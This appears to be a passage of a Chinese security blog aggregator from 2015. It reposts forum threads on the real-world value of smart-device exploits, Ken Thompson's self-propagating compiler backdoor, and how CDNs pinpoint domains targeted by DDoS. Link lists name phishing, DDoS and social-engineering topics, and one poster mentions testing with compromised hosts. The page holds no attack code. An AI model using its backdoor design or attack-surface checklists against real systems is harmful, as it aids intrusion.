2.你现在有信号了,wifi 密码还能得破解.现在就寄希望于 WPS /爆破/ 以及XX钥匙贡献数据了,不知道成功几率有多大.
说到这里那么对智能路由器的 pwn 好像也需要类似情况,首先家用智能设备对外网转发端口的情况极少,也就是说对智能路由器的攻击也需要上述两个苛刻的条件.而演示的是控制路由器对 dns 进行劫持..其实一台初始路由器要完成 dns 劫持是不需要 root 就可以轻松完成的..不否认路由器的 root 确实功力很深..但是这种功在实际攻击中价值几何?
现在智能设备极其火热,很多产品的可用性以及成熟度都不高,大家都已经开始研究就安全问题了.有一定前瞻性是不错的.但是总感觉有点本末倒置. 安全走在产品前面到底是好是坏了?
各种吐槽：
1#
xsser (十根阳具有长短!!) | 2015-10-26 11:05
漏洞价值=攻击收益-攻击成本；
攻击成本=技术成本+使用成本；
漏洞价值=攻击收益-技术成本-使用成本；
求继续.....
2#
answer | 2015-10-26 11:09
暗示
3#
包包 | 2015-10-26 11:30
个人感觉，比如geekpwn上面的，一些九阳豆浆机啊，洗衣机什么的，一些漏洞，完全是鸡肋啊。。智能硬件的漏洞，之所以火起来，感觉就是因为国外的牛撸了什么什么车子。国内就开始跟风了。。
4#
瘦蛟舞 (科普是一种公益行为) | 2015-10-26 11:39
很早之前总结的一些..
- 通信/协议
* 常用协议:xmpp/蓝牙/wifi/http
* 通信加密
* 通信签名
- 设计逻辑
* deviceID/UUID 可预测
* 管理接口(console/telnet/SSH...)无认证/默认口令
- 后端漏洞
* 注入
* 越权
- 硬件
* 模块更换/欺骗
中间人的话评定为: 中危+高攻击陈本.
5#
守望 | 2015-10-26 12:12
@xsser 漏洞价值=攻击收益-技术成本-使用成本；
据此推论漏洞价值的最大化，就在于要尽可能地放大攻击收益的值以及尽可能地缩小技术成本和使用成本，而后两者在某种情况下基本上的可变区间并不大，而攻击收益收益这个值却不好评估。也就是说攻击一个普通人这个基本上就没多大价值了，但是对于国家领导、商业人物等等重要角色来讲就会大大的放大漏洞价值。
6#
l137 (有些事情不是你不去看,它就没了的) | 2015-10-26 13:44
9494， 漏洞作为宣传的目的已经达到了~
7#
xsser (十根阳具有长短!!) | 2015-10-26 13:56
@守望 领导人不会用你家的智能微波炉吧
8#
核攻击 (统治全球，奴役全人类！毁灭任何胆敢阻拦的有机生物！) | 2015-10-26 15:31
瞎鸡巴跟风。
9#
核攻击 (统治全球，奴役全人类！毁灭任何胆敢阻拦的有机生物！) | 2015-10-26 15:31
瞎鸡巴跟风。+1
10#
nony (Not do is die...) | 2015-10-26 15:46
瞎鸡巴跟风。+2
11#
px1624 (aaaaaaaaa) | 2015-10-26 15:52
感觉这种安全还是相对的，我用wap2 然后密码设置字母、数字、特殊字符 15位以上，然后wifi设置隐藏，不用万能钥匙这些东西，我就不信你蹲我家门口可以黑我的豆浆机。
12#
存在敏感词 (昵称存在敏感词) | 2015-10-26 15:54
不是所有的针对智能设备的攻击都是在局域网内发起的啊，攻击云端实现远程劫持的案例也非常多
而且就算是在局域网内发起的攻击，也不一定要到你家楼下去搞，比如CSRF？案例也不少吧，比如当年很多路由器的dns劫持
至于是不是鸡肋。。远程杀人烧房子是有点扯淡，但是用智能设备搞蠕虫做ddos黑产已经玩的很6了
13#
小忆 | 2015-10-26 16:09
太认真就输了
14#
Tea (◆冃.狌.交.伖，释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址：wWw. wooyun.Org◆@程序员段子 xSsEr@Wooyun ┋◆冃.狌.交.伖，释.鲂.压.劦、棑.解.漃.瘼◆ 真 人】视||频. █网.址：zOnE.wooyun.Org◆┋) | 2015-10-26 16:48
这是HackPwn不是么？Geek还是有很大区别的吧？个人拙见~~~
相关内容：
北京NDS公司工程师攻击46万台机顶盒传播反动信息 获刑12年
100 美元，打造一个“开锁大师”，自动开锁机秒开任何转盘密码锁！
号称不会被查水表的通信APP-Telegram，悬赏20万美元求漏洞
讨论：如何在网络上保护个人隐私？互联网时代的隐私泄露与安全保护？
如何利用无人机、四轴飞行器、飞艇远程大范围入侵WIFI并自动渗透内网？
简单获取CDN背后网站的真实IP，CDN逆向，反向跟踪网站真实IP
Hack无线门铃 - 简单分析和重放攻击，信号重放，无线物理硬件黑客
【视频】黑客远程入侵汽车解锁车门，汽车电子钥匙信号重放，重放钥匙扣信号
iSniff GPS：WIFI被动嗅探工具，嗅探附近无线设备广播泄漏信息定位
JSON探针—定位目标网络虚拟信息身份，利用大量三方网站cookie进行追踪
全自动无线入侵热点，黑客全自动WIFI钓鱼，大规模批量无线热点钓鱼
WiFi流量劫持：网站JS脚本缓存投毒！长期控制！浏览任意页面即可中毒！
如何入侵控制交通红绿灯？美研究人员发现劫持交通灯其实非常简单
某款网络摄像机直接获取帐号密码，视频监控设备配置信息泄露漏洞
社会工程学追踪 妻子花6万挖出小三 给60多个号充话费锁定4人
逆向追踪一起针对国内企业OA系统精心策划的大规模钓鱼攻击事件
论匿名转帐和转移资产的可能，如何：网络匿迹、匿名洗钱、转移资产系统
跨行、跨省银行卡间转账不用手续费？利用支付宝为什么不收手续费？
讨论电影中出现的各种骇客、黑客入侵手法，《幽灵》、《神探夏洛克》
Discuz 爆破无视验证码，PHP 调用社工库暴破 Discuz 论坛账户脚本
现实生活中的社工：批量搞同学校里妹子QQ、手机等信息，伪装老师套学生信息
伪装快递打电话社工地址，我这样用手机社目标住址大家觉得可行吗？
移动"4G"卡所带来的威胁，随便补办别人手机卡？4G换卡补办别人手机号？
中航信系统漏洞泄露乘客信息，查询任意航班乘机人姓名,航班号,身份证,手机号
移动电源内置窃听器，在淘宝上买的充电宝内置远程定位、监听硬件后门！
APT攻击：境外间谍“飞哥”假扮女网友策反境内人员 窃取中国军事秘密
Angry Birds和广告系统泄露个人信息——FireEye对Angry Birds的分析
2014 最新 web qq 密码的加密方式分析过程，WebQQ 登陆密码加密算法分析
小米手机客户资料泄露了吗？冒充小米售后回访诈骗电话：01053799231
使用WiFi真的有那么危险吗？安全科普：教你增强自己的无线网络安全
WiFi里的猫腻：变色龙病毒，无线破解、蹭网，蜜罐路由器，黑吃黑
黑客讲故事:攻下隔壁女生路由器后,我都做了些什么,无线路由器被蹭网后,入侵女神
女黑客Oona，分析直升机现场拍摄警车追捕画面中的信号声，绘出飞机飞行轨迹
多层代理下解决链路低延迟的技巧，多层代理网络匿迹，反追踪，隐藏、保护自己
基于Wordpress Pingback的反追踪思路？木马远控通过“代理”上线？
指纹门控的安全，户外物理设备入侵，如何入侵绕过指纹识别安全锁、门控系统
发个社工福利站，搜库 - 密码泄露查询，社工库，泄露密码查询库
揭露一个飞机退改签的诈骗：借口机票退改签要退款，索要银行卡号，套取个人信息
已更新Iwork10测评！求推荐一款便携式户外物理移动渗透终端设备！！！
一起网络诈骗案的风险揭示，套取用户信息、信用卡、支付宝、快捷支付洗钱
如何在网络中隐藏自己？再论拨了国外VPN代理，是否可被逆向追踪？
江西男子克隆国外银行卡刷513万 给两任女友395万 跨境盗刷信用卡
支付宝/淘宝帐号无需密码登录任意帐号，随意查看用户资料/交易记录/转账洗钱
个人认为微信支付存在的安全问题，同一银行卡多重绑定，恶意盗刷
一基友再遇奇葩无线网络环境，顺便求二级/三级/四级ISP的盈利方式？
Hikvision IP Cameras Multiple Vulnerabilities，海康威视IP摄像机的多个漏洞
Hikvision IP Cameras Multiple Vulnerabilities, 海康威视IP摄像机的多个漏洞
已获得网络出口引擎管理员权限，试问监控全网HTTP密码传输可能性？
关于3G流量上网卡！（匿名上网），隐藏自己、网络匿迹、保护自己
浅谈社工，欢迎讨论、补充，各种猥琐社工、人肉技巧，物理社工、人肉
【TED】Markham Nolan：如何辨别网上信息真伪，神级人肉，物理社工
探秘国际职业黑客：插U盘植入木马如同拍电影，做得上班族扮得007，社工大师
俄罗斯黑客被曝潜伏Facebook，搭建蜜罐监视tor网络数据
保护水表：关于tor和mac地址的疑问，各位进来讨论一下，反追踪/匿迹
XX域名商实战，社工客服妹妹，毫不费力拿到目标公司内部通讯录
探秘时刻：多重身份的逃犯，不翼而飞的七百万，几百买身份证一票弄了700万
由“正方”jiam、jiemi之逆向思及Base64之逆编码表
ATM 机里装着什么？ATM 机的结构是什么？ATM 的构造原理？
您的工商银行电子密码器将于次日失效？伪基站垃圾短信，网银钓鱼诈骗！
讨论一下，怎么才能社工到岛国AV女优的真实资料，例如：泷泽萝拉
朋友点开一个文件给骗30万，一种“高级”QQ诈骗骗术，远控电脑诈骗
关于伪基站的一些问题：信号覆盖范围？设备成本？是否违法？教程资料？
伪基站是怎么定位的呢？定位并抓捕伪基站、圈地短信、垃圾短信犯罪团伙！
【防骗】又见网银诈骗，骗子冒充朋友，借口卡丢了先借你卡转账用用，揭秘！
遇到一个加密方式 只有1和0 求大神告知，二进制字符串“加密”
全方位在互联网中保护自己第七章（上网习惯以及计算机唯一代码追踪的防范）
社工某黑阔大牛的域名，“脑残”客服，狗血 +10086！！！
京东 淘宝 天猫订单信息泄露诈骗, 接到“京东”的客服电话之后遭遇团伙诈骗
讨论：通过无线路由渗透入侵内网电脑，如何从无线路由器到个人PC机？
金融改革记录片(97% Owned)－97%被私人银行占据的无中生有债务货币
谈谈时事：电话“诈”弹导致多地机场飞机被迫返航，论如何打电话不被追踪
【略狗血】一种结合本地程序的更加猥琐的钓鱼方式（中招率+100%）
逆向追踪之：通过QQ群里的图片逆向入侵，拿了几个phpddos的脚本
娱乐贴：打击网络诈骗 - 骗子骗钱反被骗 - 发个骗子的手法，其实还是时时彩
全方位在互联网中保护自己第六章（国产软件或后门软件的替代品(下)）
全方位在互联网中保护自己第三章（知识普及篇—了解网监的实力与暗箭（下）
简单分析丝绸之路创始人如何被抓，FBI真的能透过TOR获取真实IP么？
全方位在互联网中保护自己第五章（国产软件或后门软件的替代品(中)）
全方位在互联网中保护自己第四章（国产软件或后门软件的替代品(上)）
全方位在互联网中保护自己第二章(知识普及篇第二章-了解网监的实力与暗箭(上))
互联网安全大会360关于百度安全联盟"闹会"的声明 ← 不炒作会死？会死！
求黑产大牛目测，一位妹纸的亲身经历，身份证号+手机号洗你银行卡
如何用意念获取附近美女的手机号码，伪装免费CMCC信号，钓鱼妹子手机号码
银行卡里钱莫名其妙被转走了，有身份证号码、姓名、银行卡号就能提款？
在申诉中猜想QQ密码可能明文储存，讨论腾讯申诉“历史密码”机制
小米云服务同步“wlan设置”的安全性，小米已收集了32万wifi明文密码
注意，日站的时候请清理cookie或使用虚拟机，否则可被cookie追踪
现在傻逼太多，骗人太好骗，淘宝搜剑灵激活码，好多10几块钱的骗子
“联通3G无限 流量卡”淘宝上这种无限流量的卡可信度有多少？
为抓小偷 俄警方在地铁安装能读取乘客手机信息的设备，这是啥技术？
一种巨猥琐的挂马方法、超淫荡的APT攻击思路：如果这么挂马会不会挂进内网
(视频）USRP 来Sniffing 无线键盘，27Mhz keyboard sniffing
(视频）USRP 来 Sniffing 无线键盘，27Mhz keyboard sniffing
腾讯泄露隐私？看卫士哥获得女神的好友的名单，社工可能认识的人！
全面披露华硕十款无线路由器 - AiCloud启用单位的多个漏洞
分享下自己使用的保护方法篇章二（虚拟机模板环境设置） 连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置）连载中...
分享下自己使用的保护方法篇章一（虚拟机代理中转服务器设置） 连载中...
超级短信DDOS 女生一天收上万条10086短信 还有近50万条等着她
讨论如何通过航空飞机的互联网入侵、劫持飞机上的乘客，入侵劫持卫星
R820T电视棒+软件无线电跟踪飞机飞行轨迹（SDR&ADS-B）
rtl-sdr,RTL2832+E4k tuner电视棒跟踪飞机轨迹ADS-B/TCAS/SSR
rtl-sdr,RTL2832+E4k tuner电视棒跟踪飞机轨迹 ADS-B/TCAS/SSR
电视棒跟踪飞机轨迹教程(ADS-B), SDR GPS 飞机追踪
rtl-sdr,RTL2832电视棒跟踪飞机轨迹教程(ADS-B), SDR GPS 飞机追踪
视频: Dtac：将宠物变成了WiFi热点，泰国运营商将宠物变成WiFi热点
户外物理设备入侵之：入侵并“调教”中控指纹语音考勤系统(打卡机)
上来吐个槽，再次侦破一宗牵扯到全国多个大型医疗集团的恶性案件！
再次遭遇 GoTop 挂机刷钱“病毒”，逆向爆菊，追踪背后“牧马人”
GNU Radio USRP OpenBTS 小区短信 区域短信
一种牛逼的短信群发技术 GNU Radio 小区短信 区域短信 免费发 无法拦截
【传奇】看职业骗子如何揭发谷歌广告服务的不法活动，谷歌5亿美元和解费
如何抵御社工库类的黑客攻击？在明文密码已泄露的情况下保护自己？
如何管理一流的人才 + 这次真的谈谈如何管理一流人才：圈养牛人
上海伊莱美医院被黑、黑帽SEO做淘宝客，核总深入追查，揪出内鬼！
360对你真的起作用了吗？bypass....分析支付宝网银木马，反爆菊花
周末湖边 Sniffing ADS-B，Hack 私人小型机场
视频: ATM 的那点事! ATM 漏洞, Hack for fun! 利用磁卡导致ATM关机
淘宝又见好东西，低价格钓鱼几个倒霉蛋骗到手大额的款项，跑路、关店
核总霸气分析“天津丽人女子医院”主站被黑、挂淘宝客、黑帽SEO全过程！
中国电信ADSL宽带信息泄露,可查任意IP对应的宽带账号,电话号码,上门砍人
追查黑客姓名,邮箱,支付宝信息，惊现大规模僵尸网络，要求警方介入处理！
服务器被入侵之后，反爆1433抓鸡黑客菊花，并公布大量黑阔账号密码
公告：关于前两天本站无法打开的原因 + GFW拦截规则原理剖析
Base64 格式的密文，Base64 方式的 MD5 密匙，一些编码知识
Inception能入侵全盘加密的计算机，修改物理机器内存/任意密码进入
android 延迟锁定bug，安卓手机锁破解，屏幕解锁保护
android软件外加监控，隐私安全？！爆个一键root内幕！
关于X卧底的通话监听、短信记录、定位追踪等侵犯隐私的行为讨论
远程入侵QQ好友所在网吧监控系统，人脸识别、定位坐标，定点打击
追踪PlugX Rat作者，人肉定向攻击远控PlugX开发者
dSploit—Android网络渗透套件测试小记（含视频）
实时抓取移动设备上的通信包(ADVsock2pipe+Wireshark+nc+tcpdump)
武汉公安开发尖端人像识别系统 可瞬间辨认嫌疑人 全国摄像头寻人
可能的拦截HTTPS加密通信的手段 破解Google Gmail的https新思路
美国极超音速飞机90分钟飞越半球，时速可达4000千米，飞行在太空边缘
单反刷成安卓/ios,手机 psp kindle,连文曲星 计算器 空调遥控器也不放过
视频:FPSRussia的俄式军火秀 遥控武装四桨直升机[中英双语字幕]
免费 WiFi 是“披着羊皮的狼”，女子蹭网引来20多名警察
视频:神奇的读心大师 网上有你的整个人生 利用社工+人肉来做神棍……
视频:神奇的读心大师 网上有你的整个人生 利用社工+人肉来做神棍……
Flightradar24 网站“直播”天上“堵飞机” 看全球实时航班
《魔兽世界》截屏数据水印惊现用户私人数据 截图隐藏水印 暗含玩家信息
简单分析一个通过 js 劫持进行黑帽 SEO 做淘宝客的案例
用音响打电话，揭秘柯南电话拨号，如果电话键失灵了，直接用音响打电话
用音响打电话,揭秘柯南电话拨号,如果电话键失灵了,直接用音响打电话
iPhone 短信欺骗漏洞攻击器、伪造短信号码工具、伪装发件人攻击器
Never trust SMS: iOS text spoofing，永远不要相信短信：iOS的文字欺骗
iPhone 短信欺骗漏洞披露，伪造短信号码、自定义短信手机号
找出 GFW 在 Internet 的位置、追踪 GFW 在互联网中的位置
德安全专家破解GSM加密算法 GSM网络破解 监听全球40亿部手机
非法获取百度推广账号 实施网络诈骗 篡改百度推广 市民被骗财
黑客在Defcon建立私人电话网络 - DEFCON 忍者 GSM 网络
【需翻墙】网监如何爆菊？网警是如何通过层层VPN加密代理找到你的！
善用网站权限设置 莫让社交变“裸奔” 社交网络诱人沉迷 病态的自恋
拉斯维加斯国际黑客大会(DefCon 2012黑客会议)本周开战
802.11b 无线网络固件级攻击、802.11b Firmware-Level Attacks
2012中国计算机网络安全年会将于 7月3日-7月5日 在西安举行
如何加载 VMware Workstation v8.0.1 加密过的虚拟磁盘文件(vmdk)
手机全息投影、初音、Miku、立体投影，制作方法已放出，图文+视频
刷下“拉卡拉”卡里2万多块钱丢了，复制银行卡，POS机、刷卡黑客
从技术角度深入剖析：改号软件，电话号码任意显示，伪造来电显示
华裔黑客 BITcrash44 凭借一台 iPhone4 拿下时代广场大屏幕
视频：国外黑客利用一部诺基亚N95手机入侵火车站电子屏，并且现场直播
视频：漂浮在空中的水珠、静止的水滴，适合做成展品的视错觉，超炫！！
利用电磁波进行入侵、原子级的黑客入侵、利用电磁波毁坏物理设备
电信诈骗，电话营销，一响挂电话，推销平安、人寿保险，冒充朋友
电视机会收到邻居游戏机画面？小霸王信号干扰？红白机功率这么强悍？
任何一种装机量巨大的软件，都有政府监控模块，我们应该如何保护自己？
Mydecms 贤诚文章管理系统泄露数据库账号、密码、库名漏洞
惊爆“17岁少女黑客 fly”高清无码裸照！！这下你真的火了！！！
用 js 实现本地 md4、md5、sha1 加密表单并提交
视频:鬼佬的室内四轴定位系统，震惊，飞机模型能玩到如此地步！
目前我认为是2011密码泄露事件最合理、最符合实际的一个解释
ATM Skimmers - ATM Hacker - 自动提款机黑客
Tabnapping 浏览器标签劫持 用假冒浏览器标签进行钓鱼攻击
用黑客方式找回失窃的电脑 - GSM基站定位 - Wifi热点定位
不要偷黑客的东西 - Why you don't steal from a hacker
【视频】发射到121000英尺（36880.8米）摄影机拍摄地球
【分析】腾讯独立域名QQ空间被钓鱼，腾讯官网被黑，被植入钓鱼页面！
国内各类 WebShell 密码大全 爆破、社工用 webshell-password
VB Html编码、Html解码、Html加密、Html解密、Html转义字符
美国“末日飞机”曝光 面临大灾难可保护首脑 可抗核武器袭击、核辐射
台两15岁少年开淫窟 骗12名少女为“爱”卖身 月进300万元
【公告】警惕名为:Nuclear'Atk. QQ:424244818 冒充本人的骗子黑客
索尼承认1000万信用卡资料遭盗窃 索尼PSN数据被黑激怒全球客户
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-10-26 14:42:52
比 XcodeGhost 更邪恶的手段 30 年前就出现了
最近在开发者圈里讨论最多的莫过于 XcodeGhost。其实在 20 年前，更高明的手段就出现了。
1984 年的时候，UNIX 创造者之一 Ken Thompson 获得了 ACM 图灵奖。他的获奖演讲叫做 Reflections on Trusting Trust（反思对信任的信任）。
1984 年图灵奖得主 Ken Thompson
在这个稿子只有三页纸的演讲中他分三步描述了如何构造一个非常难以被发现的编译器后门。这后来被称为 the Ken Thompson Hack（KTH），有人说它是 the root password of all evil。
在第一步里，Thompson 展示了一个可以输出自己的源代码的 C 程序。这需要一定技巧，但很多人作为编程练习都做过。
在第二步里，Thompson 在 C 的编译器里增加了一段代码（后门），让它在检测到自己在编译 UNIX 的 login 命令时在输出里插入一个后门。这个后门会允许作者用特定密码以 root 身份登录系统。
在第三步里，Thompson 在第二步的编译器里使用第一步的方法加入另一段代码（后门生成器），使得这个编译器在检测到它在编译自己时自动把第二步的后门和第三步的后门生成器插入到输出里。
在得到一个第三步的编译器后，就可以把第二、三步新增的代码从源代码里删除，因为这个新的编译器在编译它自己原来「干净」的源代码时会自动把后门和后门生成器加上。很多语言的编译器都会使用「自举」的方式编译，也就是会用一个编译器的旧版本可执行文件来编译新版本的源码，所以这样一个高危的后门完全可以在一个开源项目里存在。通过阅读这个编译器的源码是无法发现这个后门的。
KTH 还可以被加强，让它更难被察觉。比如这个编译器可以污染它编译的调试器、反编译器等开发过程中使用的工具，使得即使程序员反编译这个编译器后看到的仍是干净的代码，除非他使用的是 KTH 注入前的版本。所以当这个带有 KTH 注入的编译器来自于官方渠道时，它的后门是几乎不会被发现的，而且会影响所有用户。
最近的 XcodeGhost 最多只能算是 the Ken Thompson Hack 的一个简化版本，没有试图隐藏自己，并且修改的不是编译器本身，而是 Xcode 附带的框架库。
Thompson 在演讲里的结论是：即使开源项目也无法保证安全。在不考虑硬件或 microcode 后门的情况下，只有当运行的每一个程序都完全是自己写的时才能确保安全。可是谁的电脑上能只运行自己写的程序呢？恐怕只有 Ken Thompson 和 Dennis Ritchie 能在用自己发明的语言写的操作系统上用自己写的编译器编译自己写的操作系统吧。
Ken Thompson 从贝尔实验室退休几年之后加入了 Google。在 Google，他和原来贝尔的老同事一起发明了 Go 语言。Go 从 1.5 版开始以自举的方式编译。;-)
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-10-26 14:27:35
一些计算流量的CDN厂商(比如加速乐)是怎么计算域名流量的
huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-10-12 23:59
不是http的流量
是计算纯流量的
比如骇客A 使用UDP碎片攻击了加速乐保护的网站，结果流量太大回源
那么加速乐是怎么知道这个域名流量很大呢?
各种吐槽：
1#
小熊饼干 | | 2015-10-13 23:17
一般人我都不告诉他。
最基本的原理是二分法，当你ip足够多时，检测出那个域名正在被攻击不是很难。
CDN 厂商一般有很多个节点，分布在全球/全国各地，如果是攻击源很分散（如肉鸡），则由于智能调度的存在，这些攻击流量会被分散到各个节点，导致攻击效果会差很多，所以这种不在这里讨论。这种其实cdn最喜欢了，像cloudflare也是使用anycast等将攻击流量分散到全球节点，这样防御能力就相当于将各个节点的带宽加起来。
另外，有个基础，检测某个目的IP（CDN的ip）的流量大小是很简单的。
先以国内的为例，国内的CDN就比较苦逼，anycast实施起来很贵，只能使用unicast，这样，智能调度只能在dns解析上做文章了。比如电信的用户调度到电信的节点，河南的调度到河南的节点。
先来分析一个简单的攻击例子，比如你有一个20G的攻击带宽，syn/udp flood 某个域名时，可能你的攻击目标会集中到少数几个（如2个，记为ip1，ip2）。
这样，我们来看下，如果我是cdn我会怎么做：
0. 上面说了，CDN检测到了自己的这两个ip流量异常是很easy的。
1. 这两个ip上的域名是‘嫌疑人’，但是可能多达N个。
2. 那我们就将这N个二分，分到2个新的ip上，ip3， ip4，这样ip3， ip4 各有N/2个域名。
3. 如果攻击不会跟随dns解析，即攻击还傻傻打ip1，ip2，那我大不了放弃这两个ip，或者将其引入黑洞。（此时找不出谁被打）
4. 如果攻击跟随dns解析，那么好玩的来了，或者打ip3， 或者打ip4（注意，我们先只考虑同一时间只有一个域名）
5. 假设打ip3， 我们就继续二分，将N/2 个域名解析到ip5，ip6，这也ip5，ip6上只有N/4个域名。
6. 以此下去，就可以找到是哪个倒霉鬼被打。
7. 当逻辑梳理清楚，其实这些都是可以自动化的。
cloudflare 使用了anycast，如果定位到某个ip被攻击，很方便的可以将此ip的流量分散到全球节点，或者放到黑洞类的设备。
上面只是简单的原理说明，大家可以自己想下更复杂的场景：
1. 多个域名同时被打怎么办。
2. 攻击不跟随，把ip1，ip2 所在机房打卦怎么办。
3. cdn 应该怎么把客户分配到不同的ip上去
4. 国内没有anycast，即每个节点都是独立作战，这时候该怎么办。
2#
Mujj (为何我的眼中饱含泪水？因为我装逼装的深沉) | 2015-10-13 01:00
这是一个难题，cloudflare、阿里云还有另外一些CDN商已经有方案出来了，但是都没公开过，或许谷歌专利上面能找到？
3#
huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-10-13 18:38
@Mujj 那有什么可能的方法呢
4#
小哲哥 | 2015-10-14 07:34
楼上说的涨姿势了，虽然我不懂
5#
我是小号6 (1:8.5长期收购wb，QQ1136036036) | 2015-10-14 08:19
楼上的楼上说的涨姿势了，虽然我不懂
6#
huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-10-14 10:41
@小熊饼干 我是说这么计算被攻击的流量
7#
huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-10-14 10:42
@小熊饼干 怎么计算CDN节点上一个域名的流量呢
8#
小熊饼干 | 2015-10-14 10:57
找到了哪个域名被攻击，然后将其防到单个IP上，然后看下这个ip的流量多大，是不是就计算出来了？
BTW： 你在加速乐面板上看到的流量大小 根本不是syn／udp 流量的的大小。
如果是CC攻击，计算流量大小很简单是吧？
9#
%230CC (Who's Your Daddy ---lordi) | 2015-10-14 11:25
其次应该是CDN有标识吧。
你从哪来要到哪去
都会有标识和记录
所有你流量打站的时候
可能我不知道你从哪里来
但是我知道你是要到哪里去 ……
哎呦我去
10#
GaRY | 2015-10-14 12:44
基本是 @小熊饼干 所说的那些方法。这是针对目前那种非应用层攻击的协议层攻击类型最普遍的查找方式。
这里补充一下，在很多云CDN厂商，很多情况下他也同时是被攻击网站的DNS服务者。在被攻击的时候，利用同时针对DNS的分析也能找到一些蛛丝马迹。如果不通过DNS解析的，说明并不是针对某一站点，通常就当作是针对节点进行攻击进行防御就OK了，这些攻击不会计入到单个站点的流量中。
至于协议层攻击，对于国外厂商，anycast的作用下，让他们其实不care究竟是哪个域名带来的。如何防御才是第一位的。在这个时候，屏蔽攻击来源更容易实现。
而对于国内厂商，没有anycast让他们没法发挥最大防御能力，因此才会经常用到二分法之类的方式，定位攻击站点，在实在无法防御的大型攻击情况下，才会剔除他来保其他。
顺带说下，绝大多数云CDN厂商在控制面板里显示的攻击流量，都单纯的是应用层攻击流量（CC+web攻击）。
11#
小熊饼干 | 2015-10-14 13:00
@GaRY 多谢大牛补充。
12#
huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-10-14 13:14
@小熊饼干 还有一个问题，某些免费cdn，比如360网站卫士。
当有udp攻击的时候，我服务器上的金盾 会发现是360的节点发动了udp攻击，，看情况很像是360把“流量”转发到了我服务器上。。。这又是咋回事。
13#
小熊饼干 | 2015-10-14 13:41
@huoji UDP “转发”这个问题就要具体分析了。 按说360也算一个‘正规’厂商，应该不会转发UDP的。怀疑是他们DNS服务器被利用放大攻击了？
只是猜测，需要你抓包分析下。
14#
Mujj (为何我的眼中饱含泪水？因为我装逼装的深沉) | 2015-10-14 13:56
国内这些厂商里面数电信的云堤有优势，来自电信的攻击基本上算全过滤了，近源压制、近源清洗，基本上来自电信的攻击源流量还没出省攻击源和流量就被处理了，X里云的X盾里面有他的影子。
15#
huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-10-14 18:43
@Mujj 晚点拿几个肉鸡试一下给你看看吧，我当时就很奇怪。
16#
huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-10-14 20:16
@Mujj 你可以无视我的回复。
17#
huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-10-14 20:16
@小熊饼干 晚点我要试一下。。
18#
无敌L.t.H (……天百一爱恋考高：簿相色白产国) | 2015-10-18 23:06
分配的CNAME解析次数多、分布广也会被发现。
19#
无敌L.t.H (……天百一爱恋考高：簿相色白产国) | 2015-10-18 23:12
大多数CDN是禁止非HTTP流量通过的，一般UDP流量在上级网络中就被过滤掉了，所以很多“高防”服务器是禁止UDP流量通过的。
20#
Mujj (为何我的眼中饱含泪水？因为我装逼装的深沉) | 2015-10-19 02:22
@无敌L.t.H 哪来的撸哪
相关内容：
简单获取CDN背后网站的真实IP，CDN逆向，反向跟踪网站真实IP
cdn缓存的一些安全风险，cdn加速网络节点缓存可能导致的严重安全问题
超级短信DDOS 女生一天收上万条10086短信 还有近50万条等着她
迅雷云你伤不起啊，利用迅雷云资源绑架用户，发起大型DDOS攻击
IP反查网站接口 旁站查询 IP查域名 域名历史解析记录查询 IP地址查机房AS号
US-CERT：DNS服务器配置不当是上周300G DDoS的元凶
基于日志整理出的经常扫描的 IDC、ISP、IP段、AS号及web服务器内容
WordPress 怎么防止刷流量？一个讨论防御CC攻击的话题……
绕过CDN的思路，绕过CDN查找真实IP的思路，一个新颖并另类的方法
长安刺客 - 旁注杀手 v1.3 + Crazy Scan v1.0 - 疯狂扫描 v1.0，发布！
Asp 防御CC攻击模块 (Anti-CC.asp) - 增加小功能
【CSRF】基于图片方式(<img)的 DDOS、CC、会话劫持以及刺探用户信息
查找“CDN、负载均衡、反向代理”等大型网络真实IP地址的方法
电磁风暴超暴力 PHP DDOS 攻击工具 & PHP DDOS 攻击 - 编年史
长安刺客 - 旁注杀手 v1.2 版 + CDN 终结者 v1.1 发布
长安刺客 - 旁注杀手 v1.1 版发布，外加强力新功能：CDN 终结者 v1.0
美国热炒解放军网络战能力 国产神器！军工级暴力DDOS攻击系统！
长安刺客 - 旁注杀手 v1.0 Beta 测试版 - 发布
男子转嫁黑客攻击致金盾网瘫痪 被DDOS请勿乱指域名到政府网
Linux 系统下 DDOS 工具 tfn2k 攻击原理详解
DRDoS 反弹DDoS攻击 反弹DDoS攻击 力度远大于分布式DDOS攻击
留言评论（旧系统）：
佚名 @ 2015-11-02 09:17:11
“huoji (有时候,想象力是突破技术瓶颈的关键！) | 2015-10-14 13:14 @小熊饼干 还有一个问题，某些免费cdn，比如360网站卫士。 当有udp攻击的时候，我服务器上的金盾 会发现是360的节点发动了udp攻击，，看情况很像是360把“流量”转发到了我服务器上。。。这又是咋回事。" 我相信这个人绝对是“白”帽子 : )
本站回复：
-_-!!!
- 博客 轶哥博客 2015-10-19 23:24:44<>emem云计算是IT产业续PC、互联网之后的第三次革新浪潮，自2008年以来发展迅速。时至今日，云计算已发展了8年有余。在这个风起云涌的产业大潮中，很多中国企业很早就开始了在云计算方面的尝试，至今已取得了显著的成就。他们的付出使得云计算已经渗透到我国经济和社会各个领域。云计算所带来的第三次革新浪潮已经席卷全球，其巨大的影响力不仅仅推进了IT产业的变革，甚至已经改变到了大多数人的生活方式，不断推进着人类的生产和生活。
- 博客 Jiajun的编程随想 2015-10-09 08:00:00《程序设计实践笔记》Style-------...
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-09-27 10:01:28
黑盒测试中那些"看不见的"漏洞
小饼仔 | 2015-09-16 17:01
原文：Hunting Asynchronous Vulnerabilities
简单翻译下大致意思
在黑盒测试中，一般我们通过请求的响应来判断一个漏洞是否存在，比如
- 是否触发错误消息
- 响应内容是否不同
- 是否有时间延迟
但有一些漏洞触发后并不会造成响应不同，或者不会立刻执行，比如二次SQL注入、命令注入但只会在夜间crontab执行等，导致我们无法通过一般的手段来判断是否存在漏洞。
这类“看不见的”漏洞大致可以分为三类：
